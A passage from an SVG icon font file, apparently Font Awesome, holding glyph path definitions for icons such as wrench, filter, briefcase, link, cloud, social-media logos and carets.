q-2 2 9.5 13t14.5 12q3 2 15 4.5t15 7.5l2 22q-12 -1 -17.5 7t-6.5 21q0 -2 -6 -8q0 7 -4.5 8t-11.5 -1t-9 -1q-10 3 -15 7.5t-8 16.5t-4 15q-2 5 -9.5 11t-9.5 10q-1 2 -2.5 5.5t-3 6.5t-4 5.5t-5.5 2.5t-7 -5t-7.5 -10t-4.5 -5q-3 2 -6 1.5t-4.5 -1t-4.5 -3t-5 -3.5
q-3 -2 -8.5 -3t-8.5 -2q15 5 -1 11q-10 4 -16 3q9 4 7.5 12t-8.5 14h5q-1 4 -8.5 8.5t-17.5 8.5t-13 6q-8 5 -34 9.5t-33 0.5q-5 -6 -4.5 -10.5t4 -14t3.5 -12.5q1 -6 -5.5 -13t-6.5 -12q0 -7 14 -15.5t10 -21.5q-3 -8 -16 -16t-16 -12q-5 -8 -1.5 -18.5t10.5 -16.5
q2 -2 1.5 -4t-3.5 -4.5t-5.5 -4t-6.5 -3.5l-3 -2q-11 -5 -20.5 6t-13.5 26q-7 25 -16 30q-23 8 -29 -1q-5 13 -41 26q-25 9 -58 4q6 1 0 15q-7 15 -19 12q3 6 4 17.5t1 13.5q3 13 12 23q1 1 7 8.5t9.5 13.5t0.5 6q35 -4 50 11q5 5 11.5 17t10.5 17q9 6 14 5.5t14.5 -5.5
t14.5 -5q14 -1 15.5 11t-7.5 20q12 -1 3 17q-4 7 -8 9q-12 4 -27 -5q-8 -4 2 -8q-1 1 -9.5 -10.5t-16.5 -17.5t-16 5q-1 1 -5.5 13.5t-9.5 13.5q-8 0 -16 -15q3 8 -11 15t-24 8q19 12 -8 27q-7 4 -20.5 5t-19.5 -4q-5 -7 -5.5 -11.5t5 -8t10.5 -5.5t11.5 -4t8.5 -3
q14 -10 8 -14q-2 -1 -8.5 -3.5t-11.5 -4.5t-6 -4q-3 -4 0 -14t-2 -14q-5 5 -9 17.5t-7 16.5q7 -9 -25 -6l-10 1q-4 0 -16 -2t-20.5 -1t-13.5 8q-4 8 0 20q1 4 4 2q-4 3 -11 9.5t-10 8.5q-46 -15 -94 -41q6 -1 12 1q5 2 13 6.5t10 5.5q34 14 42 7l5 5q14 -16 20 -25
q-7 4 -30 1q-20 -6 -22 -12q7 -12 5 -18q-4 3 -11.5 10t-14.5 11t-15 5q-16 0 -22 -1q-146 -80 -235 -222q7 -7 12 -8q4 -1 5 -9t2.5 -11t11.5 3q9 -8 3 -19q1 1 44 -27q19 -17 21 -21q3 -11 -10 -18q-1 2 -9 9t-9 4q-3 -5 0.5 -18.5t10.5 -12.5q-7 0 -9.5 -16t-2.5 -35.5
t-1 -23.5l2 -1q-3 -12 5.5 -34.5t21.5 -19.5q-13 -3 20 -43q6 -8 8 -9q3 -2 12 -7.5t15 -10t10 -10.5q4 -5 10 -22.5t14 -23.5q-2 -6 9.5 -20t10.5 -23q-1 0 -2.5 -1t-2.5 -1q3 -7 15.5 -14t15.5 -13q1 -3 2 -10t3 -11t8 -2q2 20 -24 62q-15 25 -17 29q-3 5 -5.5 15.5
t-4.5 14.5q2 0 6 -1.5t8.5 -3.5t7.5 -4t2 -3q-3 -7 2 -17.5t12 -18.5t17 -19t12 -13q6 -6 14 -19.5t0 -13.5q9 0 20 -10.5t17 -19.5q5 -8 8 -26t5 -24q2 -7 8.5 -13.5t12.5 -9.5l16 -8t13 -7q5 -2 18.5 -10.5t21.5 -11.5q10 -4 16 -4t14.5 2.5t13.5 3.5q15 2 29 -15t21 -21
q36 -19 55 -11q-2 -1 0.5 -7.5t8 -15.5t9 -14.5t5.5 -8.5q5 -6 18 -15t18 -15q6 4 7 9q-3 -8 7 -20t18 -10q14 3 14 32q-31 -15 -49 18q0 1 -2.5 5.5t-4 8.5t-2.5 8.5t0 7.5t5 3q9 0 10 3.5t-2 12.5t-4 13q-1 8 -11 20t-12 15q-5 -9 -16 -8t-16 9q0 -1 -1.5 -5.5t-1.5 -6.5
q-13 0 -15 1q1 3 2.5 17.5t3.5 22.5q1 4 5.5 12t7.5 14.5t4 12.5t-4.5 9.5t-17.5 2.5q-19 -1 -26 -20q-1 -3 -3 -10.5t-5 -11.5t-9 -7q-7 -3 -24 -2t-24 5q-13 8 -22.5 29t-9.5 37q0 10 2.5 26.5t3 25t-5.5 24.5q3 2 9 9.5t10 10.5q2 1 4.5 1.5t4.5 0t4 1.5t3 6q-1 1 -4 3
q-3 3 -4 3q7 -3 28.5 1.5t27.5 -1.5q15 -11 22 2q0 1 -2.5 9.5t-0.5 13.5q5 -27 29 -9q3 -3 15.5 -5t17.5 -5q3 -2 7 -5.5t5.5 -4.5t5 0.5t8.5 6.5q10 -14 12 -24q11 -40 19 -44q7 -3 11 -2t4.5 9.5t0 14t-1.5 12.5l-1 8v18l-1 8q-15 3 -18.5 12t1.5 18.5t15 18.5q1 1 8 3.5
t15.5 6.5t12.5 8q21 19 15 35q7 0 11 9q-1 0 -5 3t-7.5 5t-4.5 2q9 5 2 16q5 3 7.5 11t7.5 10q9 -12 21 -2q8 8 1 16q5 7 20.5 10.5t18.5 9.5q7 -2 8 2t1 12t3 12q4 5 15 9t13 5l17 11q3 4 0 4q18 -2 31 11q10 11 -6 20q3 6 -3 9.5t-15 5.5q3 1 11.5 0.5t10.5 1.5
q15 10 -7 16q-17 5 -43 -12zM879 10q206 36 351 189q-3 3 -12.5 4.5t-12.5 3.5q-18 7 -24 8q1 7 -2.5 13t-8 9t-12.5 8t-11 7q-2 2 -7 6t-7 5.5t-7.5 4.5t-8.5 2t-10 -1l-3 -1q-3 -1 -5.5 -2.5t-5.5 -3t-4 -3t0 -2.5q-21 17 -36 22q-5 1 -11 5.5t-10.5 7t-10 1.5t-11.5 -7
q-5 -5 -6 -15t-2 -13q-7 5 0 17.5t2 18.5q-3 6 -10.5 4.5t-12 -4.5t-11.5 -8.5t-9 -6.5t-8.5 -5.5t-8.5 -7.5q-3 -4 -6 -12t-5 -11q-2 4 -11.5 6.5t-9.5 5.5q2 -10 4 -35t5 -38q7 -31 -12 -48q-27 -25 -29 -40q-4 -22 12 -26q0 -7 -8 -20.5t-7 -21.5q0 -6 2 -16z" />
    <glyph glyph-name="wrench" unicode="&#xf0ad;" horiz-adv-x="1664" 
d="M384 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1028 484l-682 -682q-37 -37 -90 -37q-52 0 -91 37l-106 108q-38 36 -38 90q0 53 38 91l681 681q39 -98 114.5 -173.5t173.5 -114.5zM1662 919q0 -39 -23 -106q-47 -134 -164.5 -217.5
t-258.5 -83.5q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q58 0 121.5 -16.5t107.5 -46.5q16 -11 16 -28t-16 -28l-293 -169v-224l193 -107q5 3 79 48.5t135.5 81t70.5 35.5q15 0 23.5 -10t8.5 -25z" />
    <glyph glyph-name="tasks" unicode="&#xf0ae;" horiz-adv-x="1792" 
d="M1024 128h640v128h-640v-128zM640 640h1024v128h-1024v-128zM1280 1152h384v128h-384v-128zM1792 320v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 832v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19
t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-256q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="filter" unicode="&#xf0b0;" horiz-adv-x="1408" 
d="M1403 1241q17 -41 -14 -70l-493 -493v-742q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-256 256q-19 19 -19 45v486l-493 493q-31 29 -14 70q17 39 59 39h1280q42 0 59 -39z" />
    <glyph glyph-name="briefcase" unicode="&#xf0b1;" horiz-adv-x="1792" 
d="M640 1280h512v128h-512v-128zM1792 640v-480q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v480h672v-160q0 -26 19 -45t45 -19h320q26 0 45 19t19 45v160h672zM1024 640v-128h-256v128h256zM1792 1120v-384h-1792v384q0 66 47 113t113 47h352v160q0 40 28 68
t68 28h576q40 0 68 -28t28 -68v-160h352q66 0 113 -47t47 -113z" />
    <glyph glyph-name="fullscreen" unicode="&#xf0b2;" 
d="M1283 995l-355 -355l355 -355l144 144q29 31 70 14q39 -17 39 -59v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l144 144l-355 355l-355 -355l144 -144q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l144 -144
l355 355l-355 355l-144 -144q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v448q0 26 19 45t45 19h448q42 0 59 -40q17 -39 -14 -69l-144 -144l355 -355l355 355l-144 144q-31 30 -14 69q17 40 59 40h448q26 0 45 -19t19 -45v-448q0 -42 -39 -59q-13 -5 -25 -5q-26 0 -45 19z
" />
    <glyph glyph-name="group" unicode="&#xf0c0;" horiz-adv-x="1920" 
d="M593 640q-162 -5 -265 -128h-134q-82 0 -138 40.5t-56 118.5q0 353 124 353q6 0 43.5 -21t97.5 -42.5t119 -21.5q67 0 133 23q-5 -37 -5 -66q0 -139 81 -256zM1664 3q0 -120 -73 -189.5t-194 -69.5h-874q-121 0 -194 69.5t-73 189.5q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q10 0 43 -21.5t73 -48t107 -48t135 -21.5t135 21.5t107 48t73 48t43 21.5q61 0 111.5 -20t85.5 -53.5t62 -81t43 -97.5t26.5 -108.5t14 -109t3.5 -103.5zM640 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75
t75 -181zM1344 896q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5zM1920 671q0 -78 -56 -118.5t-138 -40.5h-134q-103 123 -265 128q81 117 81 256q0 29 -5 66q66 -23 133 -23q59 0 119 21.5t97.5 42.5
t43.5 21q124 0 124 -353zM1792 1280q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181z" />
    <glyph glyph-name="link" unicode="&#xf0c1;" horiz-adv-x="1664" 
d="M1456 320q0 40 -28 68l-208 208q-28 28 -68 28q-42 0 -72 -32q3 -3 19 -18.5t21.5 -21.5t15 -19t13 -25.5t3.5 -27.5q0 -40 -28 -68t-68 -28q-15 0 -27.5 3.5t-25.5 13t-19 15t-21.5 21.5t-18.5 19q-33 -31 -33 -73q0 -40 28 -68l206 -207q27 -27 68 -27q40 0 68 26
l147 146q28 28 28 67zM753 1025q0 40 -28 68l-206 207q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l208 -208q27 -27 68 -27q42 0 72 31q-3 3 -19 18.5t-21.5 21.5t-15 19t-13 25.5t-3.5 27.5q0 40 28 68t68 28q15 0 27.5 -3.5t25.5 -13t19 -15
t21.5 -21.5t18.5 -19q33 31 33 73zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-206 207q-83 83 -83 203q0 123 88 209l-88 88q-86 -88 -208 -88q-120 0 -204 84l-208 208q-84 84 -84 204t85 203l147 146q83 83 203 83q121 0 204 -85l206 -207
q83 -83 83 -203q0 -123 -88 -209l88 -88q86 88 208 88q120 0 204 -84l208 -208q84 -84 84 -204z" />
    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="1920" 
d="M1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088q-185 0 -316.5 131.5t-131.5 316.5q0 132 71 241.5t187 163.5q-2 28 -2 43q0 212 150 362t362 150q158 0 286.5 -88t187.5 -230q70 62 166 62q106 0 181 -75t75 -181q0 -75 -41 -138q129 -30 213 -134.5t84 -239.5z
" />
    <glyph glyph-name="beaker" unicode="&#xf0c3;" horiz-adv-x="1664" 
d="M1527 88q56 -89 21.5 -152.5t-140.5 -63.5h-1152q-106 0 -140.5 63.5t21.5 152.5l503 793v399h-64q-26 0 -45 19t-19 45t19 45t45 19h512q26 0 45 -19t19 -45t-19 -45t-45 -19h-64v-399zM748 813l-272 -429h712l-272 429l-20 31v37v399h-128v-399v-37z" />
    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="1792" 
d="M960 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1260 576l507 -398q28 -20 25 -56q-5 -35 -35 -51l-128 -64q-13 -7 -29 -7q-17 0 -31 8l-690 387l-110 -66q-8 -4 -12 -5q14 -49 10 -97q-7 -77 -56 -147.5t-132 -123.5q-132 -84 -277 -84
q-136 0 -222 78q-90 84 -79 207q7 76 56 147t131 124q132 84 278 84q83 0 151 -31q9 13 22 22l122 73l-122 73q-13 9 -22 22q-68 -31 -151 -31q-146 0 -278 84q-82 53 -131 124t-56 147q-5 59 15.5 113t63.5 93q85 79 222 79q145 0 277 -84q83 -52 132 -123t56 -148
q4 -48 -10 -97q4 -1 12 -5l110 -66l690 387q14 8 31 8q16 0 29 -7l128 -64q30 -16 35 -51q3 -36 -25 -56zM579 836q46 42 21 108t-106 117q-92 59 -192 59q-74 0 -113 -36q-46 -42 -21 -108t106 -117q92 -59 192 -59q74 0 113 36zM494 91q81 51 106 117t-21 108
q-39 36 -113 36q-100 0 -192 -59q-81 -51 -106 -117t21 -108q39 -36 113 -36q100 0 192 59zM672 704l96 -58v11q0 36 33 56l14 8l-79 47l-26 -26q-3 -3 -10 -11t-12 -12q-2 -2 -4 -3.5t-3 -2.5zM896 480l96 -32l736 576l-128 64l-768 -431v-113l-160 -96l9 -8q2 -2 7 -6
q4 -4 11 -12t11 -12l26 -26zM1600 64l128 64l-520 408l-177 -138q-2 -3 -13 -7z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="1792" 
d="M1696 1152q40 0 68 -28t28 -68v-1216q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v288h-544q-40 0 -68 28t-28 68v672q0 40 20 88t48 76l408 408q28 28 76 48t88 20h416q40 0 68 -28t28 -68v-328q68 40 128 40h416zM1152 939l-299 -299h299v299zM512 1323l-299 -299
h299v299zM708 676l316 316v416h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h512v256q0 40 20 88t48 76zM1664 -128v1152h-384v-416q0 -40 -28 -68t-68 -28h-416v-640h896z" />
    <glyph glyph-name="paper_clip" unicode="&#xf0c6;" horiz-adv-x="1408" 
d="M1404 151q0 -117 -79 -196t-196 -79q-135 0 -235 100l-777 776q-113 115 -113 271q0 159 110 270t269 111q158 0 273 -113l605 -606q10 -10 10 -22q0 -16 -30.5 -46.5t-46.5 -30.5q-13 0 -23 10l-606 607q-79 77 -181 77q-106 0 -179 -75t-73 -181q0 -105 76 -181
l776 -777q63 -63 145 -63q64 0 106 42t42 106q0 82 -63 145l-581 581q-26 24 -60 24q-29 0 -48 -19t-19 -48q0 -32 25 -59l410 -410q10 -10 10 -22q0 -16 -31 -47t-47 -31q-12 0 -22 10l-410 410q-63 61 -63 149q0 82 57 139t139 57q88 0 149 -63l581 -581q100 -98 100 -235
z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" 
d="M384 0h768v384h-768v-384zM1280 0h128v896q0 14 -10 38.5t-20 34.5l-281 281q-10 10 -34 20t-39 10v-416q0 -40 -28 -68t-68 -28h-576q-40 0 -68 28t-28 68v416h-128v-1280h128v416q0 40 28 68t68 28h832q40 0 68 -28t28 -68v-416zM896 928v320q0 13 -9.5 22.5t-22.5 9.5
h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5zM1536 896v-928q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h928q40 0 88 -20t76 -48l280 -280q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="sign_blank" unicode="&#xf0c8;" 
d="M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="reorder" unicode="&#xf0c9;" 
d="M1536 192v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 704v-128q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1536 1216v-128q0 -26 -19 -45
t-45 -19h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ul" unicode="&#xf0ca;" horiz-adv-x="1792" 
d="M384 128q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 640q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1152q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z
M1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="ol" unicode="&#xf0cb;" horiz-adv-x="1792" 
d="M381 -84q0 -80 -54.5 -126t-135.5 -46q-106 0 -172 66l57 88q49 -45 106 -45q29 0 50.5 14.5t21.5 42.5q0 64 -105 56l-26 56q8 10 32.5 43.5t42.5 54t37 38.5v1q-16 0 -48.5 -1t-48.5 -1v-53h-106v152h333v-88l-95 -115q51 -12 81 -49t30 -88zM383 543v-159h-362
q-6 36 -6 54q0 51 23.5 93t56.5 68t66 47.5t56.5 43.5t23.5 45q0 25 -14.5 38.5t-39.5 13.5q-46 0 -81 -58l-85 59q24 51 71.5 79.5t105.5 28.5q73 0 123 -41.5t50 -112.5q0 -50 -34 -91.5t-75 -64.5t-75.5 -50.5t-35.5 -52.5h127v60h105zM1792 224v-192q0 -13 -9.5 -22.5
t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM384 1123v-99h-335v99h107q0 41 0.5 121.5t0.5 121.5v12h-2q-8 -17 -50 -54l-71 76l136 127h106v-404h108zM1792 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216
q-13 0 -22.5 9.5t-9.5 22.5v192q0 14 9 23t23 9h1216q13 0 22.5 -9.5t9.5 -22.5zM1792 1248v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1216q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1216q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" horiz-adv-x="1792" 
d="M1760 640q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h1728zM483 704q-28 35 -51 80q-48 98 -48 188q0 181 134 309q133 127 393 127q50 0 167 -19q66 -12 177 -48q10 -38 21 -118q14 -123 14 -183q0 -18 -5 -45l-12 -3l-84 6
l-14 2q-50 149 -103 205q-88 91 -210 91q-114 0 -182 -59q-67 -58 -67 -146q0 -73 66 -140t279 -129q69 -20 173 -66q58 -28 95 -52h-743zM990 448h411q7 -39 7 -92q0 -111 -41 -212q-23 -56 -71 -104q-37 -35 -109 -81q-80 -48 -153 -66q-80 -21 -203 -21q-114 0 -195 23
l-140 40q-57 16 -72 28q-8 8 -8 22v13q0 108 -2 156q-1 30 0 68l2 37v44l102 2q15 -34 30 -71t22.5 -56t12.5 -27q35 -57 80 -94q43 -36 105 -57q59 -22 132 -22q64 0 139 27q77 26 122 86q47 61 47 129q0 84 -81 157q-34 29 -137 71z" />
    <glyph glyph-name="underline" unicode="&#xf0cd;" 
d="M48 1313q-37 2 -45 4l-3 88q13 1 40 1q60 0 112 -4q132 -7 166 -7q86 0 168 3q116 4 146 5q56 0 86 2l-1 -14l2 -64v-9q-60 -9 -124 -9q-60 0 -79 -25q-13 -14 -13 -132q0 -13 0.5 -32.5t0.5 -25.5l1 -229l14 -280q6 -124 51 -202q35 -59 96 -92q88 -47 177 -47
q104 0 191 28q56 18 99 51q48 36 65 64q36 56 53 114q21 73 21 229q0 79 -3.5 128t-11 122.5t-13.5 159.5l-4 59q-5 67 -24 88q-34 35 -77 34l-100 -2l-14 3l2 86h84l205 -10q76 -3 196 10l18 -2q6 -38 6 -51q0 -7 -4 -31q-45 -12 -84 -13q-73 -11 -79 -17q-15 -15 -15 -41
q0 -7 1.5 -27t1.5 -31q8 -19 22 -396q6 -195 -15 -304q-15 -76 -41 -122q-38 -65 -112 -123q-75 -57 -182 -89q-109 -33 -255 -33q-167 0 -284 46q-119 47 -179 122q-61 76 -83 195q-16 80 -16 237v333q0 188 -17 213q-25 36 -147 39zM1536 -96v64q0 14 -9 23t-23 9h-1472
q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h1472q14 0 23 9t9 23z" />
    <glyph glyph-name="table" unicode="&#xf0ce;" horiz-adv-x="1664" 
d="M512 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 160v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23
v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM512 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 160v192
q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1024 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 544v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192
q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1536 928v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1664 1248v-1088q0 -66 -47 -113t-113 -47h-1344q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1344q66 0 113 -47t47 -113
z" />
    <glyph glyph-name="magic" unicode="&#xf0d0;" horiz-adv-x="1664" 
d="M1190 955l293 293l-107 107l-293 -293zM1637 1248q0 -27 -18 -45l-1286 -1286q-18 -18 -45 -18t-45 18l-198 198q-18 18 -18 45t18 45l1286 1286q18 18 45 18t45 -18l198 -198q18 -18 18 -45zM286 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM636 1276
l196 -60l-196 -60l-60 -196l-60 196l-196 60l196 60l60 196zM1566 798l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98zM926 1438l98 -30l-98 -30l-30 -98l-30 98l-98 30l98 30l30 98z" />
    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="1792" 
d="M640 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM256 640h384v256h-158q-13 0 -22 -9l-195 -195q-9 -9 -9 -22v-30zM1536 128q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1792 1216v-1024q0 -15 -4 -26.5t-13.5 -18.5
t-16.5 -11.5t-23.5 -6t-22.5 -2t-25.5 0t-22.5 0.5q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-64q-3 0 -22.5 -0.5t-25.5 0t-22.5 2t-23.5 6t-16.5 11.5t-13.5 18.5t-4 26.5q0 26 19 45t45 19v320q0 8 -0.5 35t0 38
t2.5 34.5t6.5 37t14 30.5t22.5 30l198 198q19 19 50.5 32t58.5 13h160v192q0 26 19 45t45 19h1024q26 0 45 -19t19 -45z" />
    <glyph glyph-name="pinterest" unicode="&#xf0d2;" 
d="M1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103q-111 0 -218 32q59 93 78 164q9 34 54 211q20 -39 73 -67.5t114 -28.5q121 0 216 68.5t147 188.5t52 270q0 114 -59.5 214t-172.5 163t-255 63q-105 0 -196 -29t-154.5 -77t-109 -110.5t-67 -129.5t-21.5 -134
q0 -104 40 -183t117 -111q30 -12 38 20q2 7 8 31t8 30q6 23 -11 43q-51 61 -51 151q0 151 104.5 259.5t273.5 108.5q151 0 235.5 -82t84.5 -213q0 -170 -68.5 -289t-175.5 -119q-61 0 -98 43.5t-23 104.5q8 35 26.5 93.5t30 103t11.5 75.5q0 50 -27 83t-77 33
q-62 0 -105 -57t-43 -142q0 -73 25 -122l-99 -418q-17 -70 -13 -177q-206 91 -333 281t-127 423q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="pinterest_sign" unicode="&#xf0d3;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-725q85 122 108 210q9 34 53 209q21 -39 73.5 -67t112.5 -28q181 0 295.5 147.5t114.5 373.5q0 84 -35 162.5t-96.5 139t-152.5 97t-197 36.5q-104 0 -194.5 -28.5t-153 -76.5
t-107.5 -109.5t-66.5 -128t-21.5 -132.5q0 -102 39.5 -180t116.5 -110q13 -5 23.5 0t14.5 19q10 44 15 61q6 23 -11 42q-50 62 -50 150q0 150 103.5 256.5t270.5 106.5q149 0 232.5 -81t83.5 -210q0 -168 -67.5 -286t-173.5 -118q-60 0 -97 43.5t-23 103.5q8 34 26.5 92.5
t29.5 102t11 74.5q0 49 -26.5 81.5t-75.5 32.5q-61 0 -103.5 -56.5t-42.5 -139.5q0 -72 24 -121l-98 -414q-24 -100 -7 -254h-183q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="google_plus_sign" unicode="&#xf0d4;" 
d="M917 631q0 26 -6 64h-362v-132h217q-3 -24 -16.5 -50t-37.5 -53t-66.5 -44.5t-96.5 -17.5q-99 0 -169 71t-70 171t70 171t169 71q92 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585
h109v110h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="google_plus" unicode="&#xf0d5;" horiz-adv-x="2304" 
d="M1437 623q0 -208 -87 -370.5t-248 -254t-369 -91.5q-149 0 -285 58t-234 156t-156 234t-58 285t58 285t156 234t234 156t285 58q286 0 491 -192l-199 -191q-117 113 -292 113q-123 0 -227.5 -62t-165.5 -168.5t-61 -232.5t61 -232.5t165.5 -168.5t227.5 -62
q83 0 152.5 23t114.5 57.5t78.5 78.5t49 83t21.5 74h-416v252h692q12 -63 12 -122zM2304 745v-210h-209v-209h-210v209h-209v210h209v209h210v-209h209z" />
    <glyph glyph-name="money" unicode="&#xf0d6;" horiz-adv-x="1920" 
d="M768 384h384v96h-128v448h-114l-148 -137l77 -80q42 37 55 57h2v-288h-128v-96zM1280 640q0 -70 -21 -142t-59.5 -134t-101.5 -101t-138 -39t-138 39t-101.5 101t-59.5 134t-21 142t21 142t59.5 134t101.5 101t138 39t138 -39t101.5 -101t59.5 -134t21 -142zM1792 384
v512q-106 0 -181 75t-75 181h-1152q0 -106 -75 -181t-181 -75v-512q106 0 181 -75t75 -181h1152q0 106 75 181t181 75zM1920 1216v-1152q0 -26 -19 -45t-45 -19h-1792q-26 0 -45 19t-19 45v1152q0 26 19 45t45 19h1792q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_down" unicode="&#xf0d7;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="caret_up" unicode="&#xf0d8;" horiz-adv-x="1024" 
d="M1024 320q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="caret_left" unicode="&#xf0d9;" horiz-adv-x="640" 
d="M640 1088v-896q0 -26 -19 -45t-45 -19t-45 19l-448 448q-19 19 -19 45t19 45l448 448q19 19 45 19t45 -19t19 -45z" />
